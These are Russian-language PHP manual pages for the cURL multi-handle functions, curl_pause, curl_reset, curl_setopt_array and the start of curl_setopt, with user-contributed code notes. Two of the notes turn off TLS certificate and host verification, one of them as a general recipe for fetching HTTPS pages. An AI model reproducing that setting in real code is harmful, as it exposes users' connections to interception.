  • curl_multi_add_handle() - Добавляет обычный cURL-дескриптор к набору cURL-дескрипторов

User Contributed Notes

mercury at caucasus dot net 23-Jun-2010 02:00
It is always a good idea to use curl_close() on all individual curl handles after executing curl_multi_remove_handle(). This will free up additional memory resources. So, a typical code would look like:

<?php
$ch1 = curl_init();
curl_setopt($ch1, CURLOPT_URL, 'http://www.example.com/');
curl_setopt($ch1, CURLOPT_RETURNTRANSFER, true);

$ch2 = curl_init();
curl_setopt($ch2, CURLOPT_URL, 'http://www.example.net/');
curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true);

$mh = curl_multi_init();

curl_multi_add_handle($mh, $ch1);
curl_multi_add_handle($mh, $ch2);

$active = null;

do {
curl_multi_exec($mh, $active);
}
while($active);

$res1 = curl_multi_getcontent($ch1);
$res2 = curl_multi_getcontent($ch2);

curl_multi_remove_handle($mh, $ch1);
curl_multi_remove_handle($mh, $ch2);

curl_multi_close($mh);

curl_close($ch1);
curl_close($ch2);
?>


Ждёт активности на любом curl_multi соединении

  • « curl_multi_remove_handle
  • curl_multi_setopt »
  • PHP Manual
  • Функции cURL
  • Ждёт активности на любом curl_multi соединении

curl_multi_select

(PHP 5, PHP 7, PHP 8)

curl_multi_select — Ждёт активности на любом curl_multi соединении

Описание

curl_multi_select(CurlMultiHandle $multi_handle, float $timeout = 1.0): int

Блокирует выполнение скрипта, пока какое-либо из соединений curl_multi не станет активным.

Список параметров

multi_handle

Мультидескриптор cURL, полученный из curl_multi_init().

timeout

Время в секундах для ожидания ответа.

Возвращаемые значения

В случае успешного выполнения возвращает количество дескрипторов, содержащихся в наборах дескрипторов. Может вернуть 0, если не было активности ни на одном дескрипторе. В случае неудачи эта функция вернёт -1 В случае возникновения ошибки выборки (из нижележащего системного вызова выборки).

Список изменений

Версия | Описание
8.0.0 | multi_handle теперь ожидает экземпляр; раньше, ожидался ресурс (resource).

Смотрите также

  • curl_multi_init() - Создаёт набор cURL-дескрипторов

User Contributed Notes

gib-o-master 14-Nov-2021 10:48
NOTE: current implementation of `curl_multi_select` doesn't block and doesn't respect timeout parameter (maybe will be fixed later, in this case just remove the usleep call)

here, i would like to post my working/tested example of proper usage of this function:

```
$running  = 1;
while ($running)
{
  # execute request
  if ($a = curl_multi_exec($this->murl, $running)) {
    throw BotError::text("curl_multi_exec[$a]: ".curl_multi_strerror($a));
  }
  # check finished
  if (!$running) {
    break;
  }
  # wait for activity
  while (!$a)
  {
    if (($a = curl_multi_select($this->murl, $timeout)) < 0)
    {
      throw BotError::text(
        ($a = curl_multi_errno($this->murl))
          ? "curl_multi_select[$a]: ".curl_multi_strerror($a)
          : 'system select failed'
      );
    }
    usleep($timeout * 1000000);# should be <=1
  }
}
```
bishop at php dot net 22-May-2019 01:50
Before PHP 7.1.23 and 7.2.11, curl_multi_select() would return -1 if cURL had no open file descriptors. Since then, assuming libcurl 7.28 or higher, curl_multi_select() will return 0 if cURL has no open file descriptors and -1 on error.

See https://bugs.php.net/bug.php?id=76480

This is a BC break. See https://bugs.php.net/bug.php?id=77030
nevil85 at gmail dot com 15-Jul-2014 04:06
Even after so many distro releases, in PHP v5.5.9 and libcurl v7.35.0, curl_multi_select still returns -1. The only work around here is to wait and proceed like nothing ever happened. You have to determine the "wait" required here.

In my application a very small interval like usleep(1) worked. For example:

<?php
        // While we're still active, execute curl
        $active = null;
        do {
            $mrc = curl_multi_exec($multi, $active);
        } while ($mrc == CURLM_CALL_MULTI_PERFORM);

        while ($active && $mrc == CURLM_OK) {
            // Wait for activity on any curl-connection
            if (curl_multi_select($multi) == -1) {
                usleep(1);
            }

            // Continue to exec until curl is ready to
            // give us more data
            do {
                $mrc = curl_multi_exec($multi, $active);
            } while ($mrc == CURLM_CALL_MULTI_PERFORM);
        }
?>

Internally php curl_multi_select uses libcurl curl_multi_fdset function and its libcurl documentation says :
http://curl.haxx.se/libcurl/c/curl_multi_fdset.html

"When libcurl returns -1 in max_fd, it is because libcurl currently does something that isn't possible for your application to monitor with a socket and unfortunately you can then not know exactly when the current action is completed using select(). When max_fd returns with -1, you need to wait a while and then proceed and call curl_multi_perform anyway. How long to wait? I would suggest 100 milliseconds at least, but you may want to test it out in your own particular conditions to find a suitable value.

When doing select(), you should use curl_multi_timeout to figure out how long to wait for action."

Untill PHP implements curl_multi_timeout() we have to play with our application and determine the "wait".
xxavalanchexx at gmail dot com 20-May-2014 12:13
According to https://bugs.php.net/bug.php?id=61141:

On Windows setups using libcurl version 7.24 or later (which seems to correspond to PHP 5.3.10 or later), you may find that this always returns -1. This is, apparently, not strictly a bug: according to the libcurl documentation, you should add your own sleep if curl_multi_select returns -1.

For example:
<?php
/* setup $mh */

$active = null;
do {
    $mrc = curl_multi_exec($mh, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);

while ($active && $mrc == CURLM_OK) {
    if (curl_multi_select($mh) == -1) {
        usleep(100);
    }
    do {
        $mrc = curl_multi_exec($mh, $active);
    } while ($mrc == CURLM_CALL_MULTI_PERFORM);
}

/* close $mh */
?>
Anonymous 30-Sep-2013 08:55
In 5.3.9+, curl_multi_select always returns -1. If this is your case, just wait a bit and then proceed like nothing ever happened:
<?php
do {
    $mrc = curl_multi_exec($multi, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);

while ($active && $mrc == CURLM_OK) {
    //check for results and execute until everything is done

    if (curl_multi_select($multi) == -1) {
        //if it returns -1, wait a bit, but go forward anyways!
        usleep(100);
    }

    //do something with the return values
    while(($info = curl_multi_info_read($multi)) !== false){
        if ($info["result"] == CURLE_OK){
            $content = curl_multi_getcontent($info["handle"]);
            do_something($content);
        }
    }
    do {
        $mrc = curl_multi_exec($multi, $active);
    } while ($mrc == CURLM_CALL_MULTI_PERFORM);
}
?>
Alex Palmer 17-Dec-2012 04:08
On php 5.3.18+ be aware that curl_multi_select() may return -1 forever until you call curl_multi_exec().
See https://bugs.php.net/bug.php?id=63411 for more information.
vigo dot von dot harrach at gmx dot de 06-Jun-2012 10:53
curl_multi_select($mh, $timeout) simply blocks for $timeout seconds while curl_multi_exec() returns CURLM_CALL_MULTI_PERFORM. Otherwise, it works as intended, and blocks until at least one connection has completed or $timeout seconds, whatever happens first.

For that reason, curl_multi_exec() should always be wrapped:

<?php
  function full_curl_multi_exec($mh, &$still_running) {
    do {
      $rv = curl_multi_exec($mh, $still_running);
    } while ($rv == CURLM_CALL_MULTI_PERFORM);
    return $rv;
  }
?>

With that, the core of "multi" processing becomes (ignoring error handling for brevity):

<?php
  full_curl_multi_exec($mh, $still_running); // start requests
  do { // "wait for completion"-loop
    curl_multi_select($mh); // non-busy (!) wait for state change
    full_curl_multi_exec($mh, $still_running); // get new state
    while ($info = curl_multi_info_read($mh)) {
      // process completed request (e.g. curl_multi_getcontent($info['handle']))
    }
  } while ($still_running);
?>

Note that after starting requests, retrieval is done in the background - one of the better shots at parallel processing in PHP.
Anonymous 24-Jul-2010 08:33
Since the docs are still lacking, here's an example of how to use the function. The following code will keep checking all active threads until one of them returns the HTTP 200 Ok status code, or simply end. On success, it will return the URL that worked.

<?php
$running=null;
do {
    curl_multi_exec($mh,$running);
    $ready=curl_multi_select($mh); // this will pause the loop
    if($ready>0){
        while($info=curl_multi_info_read($mh)){
            $status=curl_getinfo($info['handle'],CURLINFO_HTTP_CODE);
            if($status==200){
                $successUrl=curl_getinfo($info['handle'],CURLINFO_EFFECTIVE_URL);
                break 2;
            }
        }
    }
} while ($running>0 && $ready!=-1);
?>

The question for the $ready variable is, if it will return the value before or after the timeout has occurred. From my tests it appears that it will return the value immediately, and only then pause the execution. That's because it's always zero the first time through the loop, even if the time limit is as high as 10sec. I've expected it to wait and only then return the value so that came unexpected to me.

As stated by someone else, it also doesn't seem to return the overall count of threads in the handle, but only that of the currently active ones.
public at grik dot net 10-Aug-2008 06:38
This function blocks the calling process until there is activity on any of the connections opened by the curl_multi interface, or until the timeout period has expired.
In other words, it waits for data to be received in the opened connections.

Internally it fetches socket pointers with "curl_multi_fdset()" and runs the "select()" C function.
It returns in 3 cases:
1. Activity is detected on any socket;
2. Timeout has ended (second parameter);
3. Process received any signal (#man kill).

The function returns an integer:
* In case of activity it returns a number, usually 1.
I suppose, it returns the number of connections with activity detected.
* If timeout expires it returns 0
* In case of error it returns -1

Thanks for attention, hope this helps.


Устанавливает опции множественного дескриптора cURL

  • « curl_multi_select
  • curl_multi_strerror »
  • PHP Manual
  • Функции cURL
  • Устанавливает опции множественного дескриптора cURL

curl_multi_setopt

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

curl_multi_setopt — Устанавливает опции множественного дескриптора cURL

Описание

curl_multi_setopt(CurlMultiHandle $multi_handle, int $option, mixed $value): bool

Устанавливает опции множественного дескриптора cURL.

Список параметров

multi_handle

Мультидескриптор cURL, полученный из curl_multi_init().

option

Одна из констант CURLMOPT_*.

value

Значение, которое необходимо установить для параметра option.

Значение параметра value должно быть целым числом (int) для следующих значений параметра option:

Опция | Установить value в
CURLMOPT_PIPELINING | 1 для включения и 0 для отключения. Разрешает конвейер для множественного дескриптора, что приведёт к попытке использовать конвейера HTTP, если это возможно, для передачи с использованием этого дескриптора. Это значит, что если вы добавите второй запрос, который может использовать уже существующее соединение, то он будет передан "по конвейеру" этому соединению. Начиная с cURL 7.43.0 значение является битовой маской и вы можете передать 2 для попытки мультиплицирования новой передачи с помощью существующего соединения HTTP/2, если это возможно. Передача 3 инструктирует cURL запрашивать конвейеризацию и мультиплексирование независимо друг от друга. Начиная с cURL 7.62.0, установка бита конвейера не имеет никакого эффекта. Вместо численных значений вы можете использовать константы CURLPIPE_*, если они доступны.
CURLMOPT_MAXCONNECTS | Задаёт число максимального количества одновременно открытых соединений, которые libcurl может закешировать. По умолчанию это значение задаётся как число дескрипторов добавленных через curl_multi_add_handle(), умноженное на 4. Когда кеш заполнится, curl закроет самые старые соединения в кеше, предотвращая увеличение количества открытых соединений.
CURLMOPT_CHUNK_LENGTH_PENALTY_SIZE | Задаёт пороговое значение длины пакета для конвейера в байтах.
CURLMOPT_CONTENT_LENGTH_PENALTY_SIZE | Задаёт пороговое значение размера для "штрафа" конвейера в байтах.
CURLMOPT_MAX_CONCURRENT_STREAMS | Устанавливает максимальное количество одновременных потоков для соединений, которые cURL должен поддерживать при соединениях по протоколу HTTP/2. Диапазон допустимых значений — от 1 до 2147483647 (2^31 - 1). Переданное для этой опции значение будет основано с учётом других свойств системных ресурсов. Значение по умолчанию — 100.
CURLMOPT_MAX_HOST_CONNECTIONS | Величина, определяющая максимальное количество соединений с одним хостом.
CURLMOPT_MAX_PIPELINE_LENGTH | Величина, определяющая максимальное количество запросов в конвейере.
CURLMOPT_MAX_TOTAL_CONNECTIONS | Величина, определяющая максимальное количество одновременно открытых соединений.
CURLMOPT_PUSHFUNCTION Передаёт callable, который будет зарегистрирован для обработки пушей от сервера и должен иметь следующую сигнатуру:
pushfunction(resource $parent_ch, resource $pushed_ch, array $headers): int
parent_ch

Родительский обработчик cURL (запрос сделанный клиентом).

pushed_ch

Новый обработчик cURL для обработки пушей.

headers

Заголовки ожидаемого пуша.

Функция должна возвращать CURL_PUSH_OK, если может обработать пуш, или CURL_PUSH_DENY, если отклонит его.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.2.0 | Добавлена константа CURLMOPT_MAX_CONCURRENT_STREAMS.
8.0.0 | multi_handle теперь ожидает экземпляр; раньше, ожидался ресурс (resource).
7.1.0 | Добавлена константа CURLMOPT_PUSHFUNCTION.
7.0.7 | Добавлены константы CURLMOPT_CHUNK_LENGTH_PENALTY_SIZE, CURLMOPT_CONTENT_LENGTH_PENALTY_SIZE, CURLMOPT_MAX_HOST_CONNECTIONS, CURLMOPT_MAX_PIPELINE_LENGTH и CURLMOPT_MAX_TOTAL_CONNECTIONS.

User Contributed Notes

ryosuke_i_628 at yahoo dot co dot jp 01-Mar-2016 10:30
If you want to enable both HTTP/1.1 pipelining and HTTP/2 multiplexing...

<?php
curl_multi_setopt($mh, CURLMOPT_PIPELINING, 3);
?>

or

<?php
curl_multi_setopt($mh, CURLMOPT_PIPELINING, CURLPIPE_HTTP1 | CURLPIPE_MULTIPLEX);
?>


Возвращает строку, описывающую ошибку

  • « curl_multi_setopt
  • curl_pause »
  • PHP Manual
  • Функции cURL
  • Возвращает строку, описывающую ошибку

curl_multi_strerror

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

curl_multi_strerror — Возвращает строку, описывающую ошибку

Описание

curl_multi_strerror(int $error_code): ?string

Возвращает текст сообщения об ошибке, соответствующей заданному коду ошибки CURLM.

Список параметров

error_code

Одна и констант » кодов ошибок CURLM.

Возвращаемые значения

Возвращает строку с описанием ошибки и null, если переданный код некорректен.

Примеры

Пример #1 Пример использования curl_multi_strerror()

<?php
// Создаём обработчики curl
$ch1 = curl_init("http://example.com/");
$ch2 = curl_init("http://php.net/");

// Создаём множественный обработчик cURL
$mh = curl_multi_init();

// Добавляем дескрипторы в набор дескрипторов
curl_multi_add_handle($mh, $ch1);
curl_multi_add_handle($mh, $ch2);

// Запускаем множественный обработчик
do {
$status = curl_multi_exec($mh, $active);
if ($active) {
curl_multi_select($mh);
}
} while ($active && $status === CURLM_OK);

// Проверяем на ошибки
if ($status != CURLM_OK) {
// Выводим ошибку
echo "ОШИБКА!\n " . curl_multi_strerror($status);
}
?>

Смотрите также

  • curl_strerror() - Получить текстовое описание для кода ошибки
  • » коды ошибок cURL

User Contributed Notes

There are no user contributed notes for this page.


Приостановить и возобновить соединение

  • « curl_multi_strerror
  • curl_reset »
  • PHP Manual
  • Функции cURL
  • Приостановить и возобновить соединение

curl_pause

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

curl_pause — Приостановить и возобновить соединение

Описание

curl_pause(CurlHandle $handle, int $flags): int

Приостанавливает или снимает с паузы сессию cURL. Сессия может быть приостановлена во время выполнения передачи данных в направлении чтения, записи или в обоих направлениях путём вызова этой функции из callback-функции, зарегистрированной с помощью curl_setopt().

Список параметров

handle

Дескриптор cURL, полученный из curl_init().

flags

Одна из констант CURLPAUSE_*.

Возвращаемые значения

Возвращает один из кодов возврата (CURLE_OK если ошибок нет).

Список изменений

Версия | Описание
8.0.0 | handle теперь ожидает экземпляр CurlHandle; раньше, ожидался ресурс (resource).

User Contributed Notes

Alex Autrey 26-Jul-2013 12:01
http://curl.haxx.se/libcurl/c/curl_easy_pause.html

Using this function, you can explicitly mark a running connection to get paused, and you can unpause a connection that was previously paused.

A connection can be paused by using this function or by letting the read or the write callbacks return the proper magic return code (CURL_READFUNC_PAUSE and CURL_WRITEFUNC_PAUSE). A write callback that returns pause signals to the library that it couldn't take care of any data at all, and that data will then be delivered again to the callback when the writing is later unpaused.

NOTE: while it may feel tempting, take care and notice that you cannot call this function from another thread.

When this function is called to unpause reading, the chance is high that you will get your write callback called before this function returns.

The handle argument is of course identifying the handle that operates on the connection you want to pause or unpause.

The bitmask argument is a set of bits that sets the new state of the connection. The following bits can be used:


Сбросить все настройки обработчика сессии libcurl

  • « curl_pause
  • curl_setopt_array »
  • PHP Manual
  • Функции cURL
  • Сбросить все настройки обработчика сессии libcurl

curl_reset

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

curl_reset — Сбросить все настройки обработчика сессии libcurl

Описание

curl_reset(CurlHandle $handle): void

Эта функция переинициализирует все настройки заданного обработчика сессии cURL значениями по умолчанию.

Список параметров

handle

Дескриптор cURL, полученный из curl_init().

Возвращаемые значения

Функция не возвращает значения после выполнения.

Список изменений

Версия | Описание
8.0.0 | handle теперь ожидает экземпляр CurlHandle; раньше, ожидался ресурс (resource).

Примеры

Пример #1 Пример использования curl_reset()

<?php
// Создаём обработчик curl
$ch = curl_init();

// Устанавливаем опцию CURLOPT_USERAGENT
curl_setopt($ch, CURLOPT_USERAGENT, "My test user-agent");

// Сбрасываем все установленные опции
curl_reset($ch);

// Посылаем запрос HTTP
curl_setopt($ch, CURLOPT_URL, 'http://example.com/');
curl_exec($ch); // установленный ранее user-agent сброшен

// Закрываем обработчик
curl_close($ch);
?>

Примечания

Замечание:

curl_reset() также сбрасывает URL, заданный в качестве параметра curl_init().

Смотрите также

  • curl_setopt() - Устанавливает параметр для сеанса CURL

User Contributed Notes

dev at codesatori dot com 25-Nov-2016 11:44
If you're reusing a cUrl handle and want to ensure there's no residue from previous options -- but are frustrated with resetting the basics (e.g. FTP details) needed for each cURL call -- then here's an easy pattern to fix that:

<?php
class cUrlicue {

    protected $curl;

    /* Create the cURL handle */

    function __construct() {
        $this->curl = curl_init();
        $this->curl_init_opts();
        curl_exec($this->curl);
    }

    /* Reload your base options */

    function curl_init_opts() {
        $opts[CURLOPT_PROTOCOLS]         = CURLPROTO_FTP;
        $opts[CURLOPT_RETURNTRANSFER]     = true;
        $opts[CURLOPT_USERPWD]             = 'user:pass';
        //...
        curl_setopt_array($this->curl, $opts);
    }

    /* Use when making a new cURL call */

    function curl_exec($opts) {
        curl_reset($this->curl); // clears all old options
        $this->curl_init_opts(); // sets base options again
        curl_setopt_array($this->curl, $opts); // sets your new options
        return curl_exec($this->curl);
    }

    /* Your whatever cURL method */

    function curl_get_whatever() {
        $opts[CURLOPT_URL] = 'ftp://.../whatever';
        //...
        $result = $this->curl_exec($opts);
        // ...
    }
}
?>

Then: each call to $this->curl_exec() from your whatever-method resets the previous options, reloads the base options, adds in your new options, and returns the result. Otherwise, can also put your base options into a class property, instead of in-method, if there's nothing dynamic being defined. Enjoy. =^_^=
Waloon 18-Jul-2016 02:52
Hack for php < 5.5 :

function curl_reset(&$ch){
  $ch = curl_init();
}


Устанавливает несколько параметров для сеанса cURL

  • « curl_reset
  • curl_setopt »
  • PHP Manual
  • Функции cURL
  • Устанавливает несколько параметров для сеанса cURL

curl_setopt_array

(PHP 5 >= 5.1.3, PHP 7, PHP 8)

curl_setopt_array — Устанавливает несколько параметров для сеанса cURL

Описание

curl_setopt_array(CurlHandle $handle, array $options): bool

Устанавливает несколько параметров для сеанса cURL. Эта функция полезна при установке большого количества cURL-параметров без необходимости постоянно вызывать curl_setopt().

Список параметров

handle

Дескриптор cURL, полученный из curl_init().

options

Массив (array), определяющий устанавливаемые параметры и их значения. Ключи должны быть корректными константами для функции curl_setopt() или их целочисленными эквивалентами.

Возвращаемые значения

Возвращает true, если все параметры были успешно установлены. Если не удалось успешно установить какой-либо параметр, немедленно возвращается значение false, а последующие параметры в массиве options будут проигнорированы.

Список изменений

Версия | Описание
8.0.0 | handle теперь ожидает экземпляр CurlHandle; раньше, ожидался ресурс (resource).

Примеры

Пример #1 Инициализация новой сессии cURL и загрузка веб-страницы

<?php
// создание нового ресурса cURL
$ch = curl_init();

// установка URL и других соответствующих параметров
$options = array(CURLOPT_URL => 'http://www.example.com/',
CURLOPT_HEADER => false
);

curl_setopt_array($ch, $options);

// загрузка URL и её выдача в браузер
curl_exec($ch);

// закрытие ресурса cURL и освобождение системных ресурсов
curl_close($ch);
?>

Примечания

Замечание:

Как и при работе с curl_setopt(), передача массива в параметр CURLOPT_POST закодирует все данные с помощью multipart/form-data, тогда как передача URL-кодированной строки будет использовать кодировку application/x-www-form-urlencoded.

Смотрите также

  • curl_setopt() - Устанавливает параметр для сеанса CURL

User Contributed Notes

mad_elf at maranelda dot org 17-Jul-2022 11:06
Important note: the option CURLINFO_HEADER_OUT is *ignored* by curl_setopt_array(). You *must* use curl_setopt() to set this option.

(True in PHP v7.3.27 at least)
lawrence at dub3solutions dot com 13-Feb-2019 11:23
This function does not mix with `curl_file_create` (`CURLFile` object) and `CURLOPT_POSTFIELDS`. Took me forever to figure out, but essentially I was getting an "Invalid filename" PHP warning and the files weren't being sent. I was able to correct the issue in a matter like so:

curl_setopt_array($curl, $curlOpts);
curl_setopt($curl, CURLOPT_POSTFIELDS, $postFields);

I removed the `$postFields` value from `$curlOpts` and set it separately using `curl_setopt`.
Al 03-Jul-2017 03:39
You might be tempted to use array_merge with arrays where CURLOPT constants are the keys, but beware.

<?php
array_merge([], [CURLOPT_FOO => "foo"], [CURLOPT_BAR => "bar"]);
?>

Since these constants are numeric, array_merge will happily reindex:

<?php
[0 => "foo", 1 => "bar"];
?>
Alexander 15-Nov-2016 12:14
Once upon a time I've got an error like "Problem with the SSL CA cert (path? access rights?)". Since what I was doing was pretty much an administrative task with no actual security issues involved, I decided to disallow certificate validation and this is where the most interesting stuff began.

First I did it like this and it worked:

        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);

Next I thought, "But hey, I don't want any hardcoded stuff here. Let's use it in a configurable way!". And so I did something like this:

// in configuration
$CURL_OPTIONS = array(CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0);

...........

// in place of two direct calls from earlier
            curl_setopt_array($ch, $CURL_OPTIONS);

And I was so happy, there was no error anymore... and do you think I was happy for a long time? If so, then you're wrong. It stopped giving an error, while it didn't start to work!

I checked the actual data but they were allright. Then I thought: "Is it the curl_setopt_array() problem? Let's make it a cycle." The way it is mentioned in this help, actually.

            foreach ($CURL_OPTIONS as $name => $value)
            {
                curl_setopt($ch, $name, $value);
            }

And... it did not work the same way as with the curl_setopt_array() call. And the data were still allright...

So, if by chance you can't set CURL options with the curl_setopt_array() call, then now you know what to do and you know it is definitely not you who is to blame.

P.S.
By the way, the configuration used was:
Linux i-ween.com 3.2.0-4-amd64 #1 SMP Debian 3.2.73-2+deb7u3 x86_64
PHP Version 5.5.17
Lionel 17-Sep-2015 06:58
If you are writing a mini API for your library, and if you are doing merging of options, remember to use the union operator (+) !

So something like this will definitely fail. This is because array_merge effectively resets all the keys in the array into running numbers:

<?php
function post($url, $options = array) {
    $ch = curl_init();
    curl_setopt_array($ch, array_merge(array(
        CURLOPT_HEADER => 1,
        CURLOPT_RETURNTRANSFER => 1,
        .....
     )));
?>

Rather, this is the correct way of doing it:

<?php
function post($url, $options = array) {
    $ch = curl_init();
    curl_setopt_array($ch, array(
        CURLOPT_HEADER => 1,
        CURLOPT_RETURNTRANSFER => 1,
        .....
     ) + (array) $options);
?>
loop4u at gmail dot com 11-Jun-2011 07:59
it should be noted that when using CURLOPT_POSTFIELDS in a loop, CURLOPT_POSTFIELDS appends to the sting. You can use unset() if you don't want this sort of behavior.

<?php
//this will append postfields

while(true) {
    $options = array(CURLOPT_POSTFIELDS => 'foo=bar&foo2=bar');
    $ch = curl_init("http://www.example.com");
    curl_setopt_array($ch, $options);
    curl_exec($ch);
    curl_close($ch);
}

//this will NOT append postfields
while(true) {
    $options = array(CURLOPT_POSTFIELDS => 'foo=bar&foo2=bar');
    $ch = curl_init("http://www.example.com");
    curl_setopt_array($ch, $options);
    curl_exec($ch);
    curl_close($ch);
    unset($options[CURLOPT_POSTFIELDS]);
}
?>
anthon at piwik dot org 01-Jun-2010 06:52
Starting in PHP 5.2.0, CURLOPT_FOLLOWLOCATION can't be set via curl_setopt_array() (or curl_setopt()) when either safe_mode is enabled or open_basedir is set.  In these cases, the order of CURLOPT_* settings in the array can be important.
maran dot emil at gmail dot com 25-Mar-2009 11:54
In case that you need to read SSL page content from https with curl, this function can help you:

<?php

function get_web_page( $url,$curl_data )
{
    $options = array(
        CURLOPT_RETURNTRANSFER => true,         // return web page
        CURLOPT_HEADER         => false,        // don't return headers
        CURLOPT_FOLLOWLOCATION => true,         // follow redirects
        CURLOPT_ENCODING       => "",           // handle all encodings
        CURLOPT_USERAGENT      => "spider",     // who am i
        CURLOPT_AUTOREFERER    => true,         // set referer on redirect
        CURLOPT_CONNECTTIMEOUT => 120,          // timeout on connect
        CURLOPT_TIMEOUT        => 120,          // timeout on response
        CURLOPT_MAXREDIRS      => 10,           // stop after 10 redirects
        CURLOPT_POST            => 1,            // i am sending post data
           CURLOPT_POSTFIELDS     => $curl_data,    // this are my post vars
        CURLOPT_SSL_VERIFYHOST => 0,            // don't verify ssl
        CURLOPT_SSL_VERIFYPEER => false,        //
        CURLOPT_VERBOSE        => 1                //
    );

    $ch      = curl_init($url);
    curl_setopt_array($ch,$options);
    $content = curl_exec($ch);
    $err     = curl_errno($ch);
    $errmsg  = curl_error($ch) ;
    $header  = curl_getinfo($ch);
    curl_close($ch);

  //  $header['errno']   = $err;
  //  $header['errmsg']  = $errmsg;
  //  $header['content'] = $content;
    return $header;
}

$curl_data = "var1=60&var2=test";
$url = "https://www.example.com";
$response = get_web_page($url,$curl_data);

print '<pre>';
print_r($response);

?>
fnjordy at gmail dot com 30-Nov-2008 11:48
There is no CURLOPT_MAXFILESIZE in the PHP module but it's function only works with Content-Length headers anyway.  There are two ways of checking download sizes, one is after the download is complete using filesize(), the other is as the download is running allowing you to terminate before wasting time and disk space.

<?php
$GLOBALS['file_size'] = 0;
$GLOBALS['max_file_size'] = 1024 * 1024;
function on_curl_header($ch, $header)
{
    $trimmed = rtrim($header);
    if (preg_match('/^Content-Length: (\d+)$/', $trimmed, $matches))
    {
        $file_size = $matches[1];
        if ($file_size > $GLOBALS['max_file_size']) {
            // handle error here.
        }
    }
    return strlen($header);
}

function on_curl_write($ch, $data)
{
    $bytes = strlen($data);
    $GLOBALS['file_size'] += $bytes;
    if ($GLOBALS['file_size'] > $GLOBALS['max_file_size']) {
        // handle error here.
    }
    return $bytes;
}

$ch = curl_init();
$options = array(CURLOPT_URL        => 'http://www.php.net/',
         CURLOPT_HEADER        => false,
         CURLOPT_HEADERFUNCTION    => 'on_curl_header',
         CURLOPT_WRITEFUNCTION    => 'on_curl_write');
curl_setopt_array($ch, $options);
curl_exec($ch);
// ...
?>
bendavis78 at gmail dot com 13-Jul-2006 03:58
You can use CURLOPT_HEADERFUNCTION  with a callback inside an object.  This makes is it easy to capture the headers for later use.  For example:

<?php
class Test
{
    public $headers;

    //...

    public function exec($opts)
    {
        $this->headers = array();
        $opts[CURLOPT_HEADERFUNCTION] = array($this, '_setHeader');
        $ch = curl_init();
        curl_setopt_array($ch, $opts);
        return curl_exec($ch);
    }

    private function _setHeader($ch, $header)
    {
        $this->headers[] = $header;
        return strlen($header);
    }

}

$test = new Test();
$opts = array(
   //... your curl opts here
);
$data = $test->exec($opts);
print_r($test->headers);
?>

...something like that

(This works in php v. 5.1.4)


Устанавливает параметр для сеанса CURL

  • « curl_setopt_array
  • curl_share_close »
  • PHP Manual
  • Функции cURL
  • Устанавливает параметр для сеанса CURL

curl_setopt

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

curl_setopt — Устанавливает параметр для сеанса CURL

Описание

curl_setopt(CurlHandle $handle, int $option, mixed $value): bool

Устанавливает параметр для указанного сеанса cURL.

Список параметров

handle

Дескриптор cURL, полученный из curl_init().

option

Устанавливаемый параметр CURLOPT_XXX.

value

Значение параметра option.

Для следующих значений параметра option, параметр value должен быть типа bool:

Параметр | Устанавливаемое значение value | Замечания
CURLOPT_AUTOREFERER | true для автоматической установки поля Referer: в запросах, перенаправленных заголовком Location:.
CURLOPT_COOKIESESSION | true для указания текущему сеансу начать новую «сессию» cookies. Это заставит модуль libcurl проигнорировать все «сессионные» cookies из предыдущего сеанса, которые он собирается загрузить. По умолчанию модуль libcurl всегда сохраняет и загружает все cookies, вне зависимости от того, являются ли они «сессионными» или нет. «Сессионные» cookies — это cookies без срока истечения, которые должны существовать только для текущей «сессии».
CURLOPT_CERTINFO | true для вывода информации о сертификате SSL в поток STDERR при безопасных соединениях. | Добавлена в cURL 7.19.1. Для корректной работы требует включённой опции CURLOPT_VERBOSE.
CURLOPT_CONNECT_ONLY | true сообщает библиотеке, чтобы она провела необходимые аутентификацию прокси и настройку соединения, но не передавала данные. Эта опция реализована для HTTP, SMTP и POP3. | Добавлена в 7.15.2.
CURLOPT_CRLF | true для преобразования концов строк Unix в CRLF.
CURLOPT_DISALLOW_USERNAME_IN_URL | true для запрета URL-адресов, содержащих имя пользователя. Имена пользователей по умолчанию разрешены (0). | Добавлено в cURL 7.61.0. Доступно с PHP 7.3.0.
CURLOPT_DNS_SHUFFLE_ADDRESSES | true для перемешивания порядка всех возвращённых адресов так, чтобы они использовались в случайном порядке, когда имя разрешено и возвращается более одного IP-адреса. Это может привести к тому, что протокол IPv4 будет использован до IPv6 или наоборот. | Добавлено в cURL 7.60.0. Доступно с PHP 7.3.0.
CURLOPT_HAPROXYPROTOCOL | true для отправки заголовка протокола HAProxy PROXY v1 в начале соединения. Действие по умолчанию — не отправлять заголовок. | Добавлено в cURL 7.60.0. Доступно с PHP 7.3.0.
CURLOPT_SSH_COMPRESSION | true для включения встроенного сжатия SSH. Это запрос, а указание; сервер может это и не выполнить. | Добавлено в cURL 7.56.0. Доступно с PHP 7.3.0.
CURLOPT_DNS_USE_GLOBAL_CACHE | true для использования глобального кеша DNS. Этот параметр не является потокобезопасным. Он по умолчанию включён если PHP собран для потоконебезопасного использования (CLI, FCGI, Apache2-Prefork, и т.д.).
CURLOPT_FAILONERROR | true для подробного отчёта при неудаче, если полученный HTTP-код больше или равен 400. Поведение по умолчанию возвращает страницу как обычно, игнорируя код.
CURLOPT_SSL_FALSESTART | true для разрешения ложного старта TLS. | Добавлено cURL 7.42.0. Доступно с PHP 7.0.7.
CURLOPT_FILETIME | true для попытки получения даты модификации удалённого документа. Это значение может быть получено с помощью параметра CURLINFO_FILETIME из функции curl_getinfo().
CURLOPT_FOLLOWLOCATION | true для следования любому заголовку "Location: ", отправленному сервером в своём ответе. Смотрите также CURLOPT_MAXREDIRS.
CURLOPT_FORBID_REUSE | true для принудительного закрытия соединения после завершения его обработки так, чтобы его нельзя было использовать повторно.
CURLOPT_FRESH_CONNECT | true для принудительного использования нового соединения вместо закешированного.
